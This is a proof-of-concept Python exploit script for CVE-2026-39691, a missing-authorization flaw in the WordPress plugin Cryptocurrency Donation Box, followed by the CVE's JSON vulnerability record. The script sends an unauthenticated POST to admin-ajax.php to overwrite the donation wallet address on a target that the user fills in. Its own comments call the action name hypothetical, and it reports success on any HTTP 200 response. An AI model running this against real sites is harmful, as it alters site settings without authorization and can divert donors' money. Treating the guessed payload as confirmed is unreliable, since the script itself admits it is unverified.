CVE-2026-39691

# PoC for CVE-2026-39691 - Missing Authorization # This script demonstrates sending a request to an unsecured endpoint. import requests def check_vulnerability(target_url): # Targeting the WordPress AJAX handler, common in plugin vulnerabilities endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Hypothetical payload for the vulnerable action # The specific 'action' parameter depends on the plugin's registered hooks payload = { "action": "adc_save_donation_settings", "wallet_address": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa" # Example data } # Sending request WITHOUT authentication cookies (PR:N) try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: # Check if response indicates successful modification or lack of error if "success" in response.text.lower() or response.status_code == 200: print("[+] Potential vulnerability confirmed: Settings changed without auth.") print(f"Response: {response.text[:100]}") else: print("[-] Endpoint responded but may not be vulnerable.") else: print(f"[-] HTTP Status Code: {response.status_code}") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-39691", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:41.370", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in AdAstraCrypto Cryptocurrency Donation Box – Bitcoin & Crypto Donations cryptocurrency-donation-box allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cryptocurrency Donation Box – Bitcoin & Crypto Donations: from n/a through <= 2.2.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cryptocurrency-donation-box/vulnerability/wordpress-cryptocurrency-donation-box-bitcoin-crypto-donations-plugin-2-2-13-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}